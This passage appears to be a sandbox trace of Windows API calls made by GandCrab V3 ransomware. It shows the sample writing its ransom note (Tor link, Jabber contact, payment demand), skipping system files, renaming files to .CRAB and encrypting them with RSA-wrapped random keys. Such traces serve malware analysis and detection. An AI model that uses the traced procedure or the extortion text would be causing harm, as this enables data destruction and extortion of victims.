	[0111.892] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.892] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.892] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.892] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.892] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.892] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.892] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.892] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.892] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.892] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.892] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.892] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\\\CRAB-DECRYPT.txt") returned 79
	[0111.892] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0111.897] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.897] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0111.898] CloseHandle (hObject=0x3f4) returned 1
	[0111.898] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.899] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned 62
	[0111.899] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*"
	[0111.899] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xda78b0
	[0111.899] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.899] FindNextFileW (in: hFindFile=0xda78b0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.899] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.899] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.899] FindNextFileW (in: hFindFile=0xda78b0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.899] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.899] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.899] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\CRAB-DECRYPT.txt"
	[0111.899] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.900] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\CRAB-DECRYPT.txt") returned 78
	[0111.900] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\CRAB-DECRYPT.txt") returned 78
	[0111.900] lstrlenW (lpString=".txt") returned 4
	[0111.900] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.900] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.900] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.900] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\CRAB-DECRYPT.txt") returned 78
	[0111.900] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\CRAB-DECRYPT.txt") returned 78
	[0111.901] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.901] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.901] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.901] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.901] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.901] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.901] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.901] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.901] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.901] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.901] FindNextFileW (in: hFindFile=0xda78b0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.901] lstrcmpW (lpString1="Database1.LNK", lpString2=".") returned 1
	[0111.901] lstrcmpW (lpString1="Database1.LNK", lpString2="..") returned 1
	[0111.901] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Database1.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK"
	[0111.901] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.901] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK") returned 75
	[0111.902] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK") returned 75
	[0111.902] lstrlenW (lpString=".LNK") returned 4
	[0111.902] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.902] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".LNK ") returned 5
	[0111.902] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.902] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK") returned 75
	[0111.902] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK") returned 75
	[0111.902] lstrcmpiW (lpString1="Database1.LNK", lpString2="desktop.ini") returned -1
	[0111.902] lstrcmpiW (lpString1="Database1.LNK", lpString2="autorun.inf") returned 1
	[0111.902] lstrcmpiW (lpString1="Database1.LNK", lpString2="ntuser.dat") returned -1
	[0111.902] lstrcmpiW (lpString1="Database1.LNK", lpString2="iconcache.db") returned -1
	[0111.902] lstrcmpiW (lpString1="Database1.LNK", lpString2="bootsect.bak") returned 1
	[0111.902] lstrcmpiW (lpString1="Database1.LNK", lpString2="boot.ini") returned 1
	[0111.902] lstrcmpiW (lpString1="Database1.LNK", lpString2="ntuser.dat.log") returned -1
	[0111.902] lstrcmpiW (lpString1="Database1.LNK", lpString2="thumbs.db") returned -1
	[0111.902] lstrcmpiW (lpString1="Database1.LNK", lpString2="CRAB-DECRYPT.txt") returned 1
	[0111.902] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.903] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.CRAB") returned 80
	[0111.903] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\database1.lnk")) returned 0x20
	[0111.903] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK", dwFileAttributes=0x20) returned 1
	[0111.904] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\database1.lnk"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\database1.lnk.crab")) returned 1
	[0111.907] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0111.908] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.CRAB"
	[0111.908] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.CRAB.CRAB"
	[0111.908] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0111.909] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.909] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.909] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.909] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0111.909] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.909] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.910] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e9e0) returned 1
	[0111.910] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.910] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.911] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.911] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0111.911] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0111.911] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.911] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0111.911] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0111.912] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e9e0) returned 1
	[0111.912] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7570) returned 1
	[0111.912] CryptGetKeyParam (in: hKey=0xda7570, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0111.912] CryptEncrypt (in: hKey=0xda7570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0111.913] GetLastError () returned 0x0
	[0111.913] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0111.913] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e9e0) returned 1
	[0111.913] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7c30) returned 1
	[0111.913] CryptGetKeyParam (in: hKey=0xda7c30, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0111.913] CryptEncrypt (in: hKey=0xda7c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0111.914] GetLastError () returned 0x0
	[0111.914] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0111.914] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\database1.lnk.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0111.914] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0111.915] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0111.915] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x45b, lpOverlapped=0x0) returned 1
	[0111.939] VirtualAlloc (lpAddress=0x0, dwSize=0x460, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0111.940] VirtualAlloc (lpAddress=0x0, dwSize=0x460, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0111.940] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.940] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffba5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.940] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x460, lpOverlapped=0x0) returned 1
	[0111.941] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.941] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.945] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0111.945] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0111.945] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0111.945] CloseHandle (hObject=0x3f8) returned 1
	[0111.946] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.946] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.946] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.947] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.947] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.947] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.947] FindNextFileW (in: hFindFile=0xda78b0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.947] lstrcmpW (lpString1="Documents.LNK", lpString2=".") returned 1
	[0111.947] lstrcmpW (lpString1="Documents.LNK", lpString2="..") returned 1
	[0111.947] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Documents.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK"
	[0111.947] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.948] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK") returned 75
	[0111.948] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK") returned 75
	[0111.948] lstrlenW (lpString=".LNK") returned 4
	[0111.948] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.948] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".LNK ") returned 5
	[0111.948] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.948] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK") returned 75
	[0111.948] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK") returned 75
	[0111.948] lstrcmpiW (lpString1="Documents.LNK", lpString2="desktop.ini") returned 1
	[0111.948] lstrcmpiW (lpString1="Documents.LNK", lpString2="autorun.inf") returned 1
	[0111.948] lstrcmpiW (lpString1="Documents.LNK", lpString2="ntuser.dat") returned -1
	[0111.948] lstrcmpiW (lpString1="Documents.LNK", lpString2="iconcache.db") returned -1
	[0111.949] lstrcmpiW (lpString1="Documents.LNK", lpString2="bootsect.bak") returned 1
	[0111.949] lstrcmpiW (lpString1="Documents.LNK", lpString2="boot.ini") returned 1
	[0111.949] lstrcmpiW (lpString1="Documents.LNK", lpString2="ntuser.dat.log") returned -1
	[0111.949] lstrcmpiW (lpString1="Documents.LNK", lpString2="thumbs.db") returned -1
	[0111.949] lstrcmpiW (lpString1="Documents.LNK", lpString2="CRAB-DECRYPT.txt") returned 1
	[0111.949] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.949] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.CRAB") returned 80
	[0111.949] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\documents.lnk")) returned 0x20
	[0111.949] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK", dwFileAttributes=0x20) returned 1
	[0111.950] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\documents.lnk"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\documents.lnk.crab")) returned 1
	[0111.950] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0111.951] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.CRAB"
	[0111.951] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.CRAB.CRAB"
	[0111.951] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0111.951] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.952] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.952] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0111.952] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.952] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.952] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e9e0) returned 1
	[0111.953] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.953] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.954] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.954] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0111.954] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0111.954] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.954] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0111.954] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0111.954] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e5a0) returned 1
	[0111.955] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda79b0) returned 1
	[0111.955] CryptGetKeyParam (in: hKey=0xda79b0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
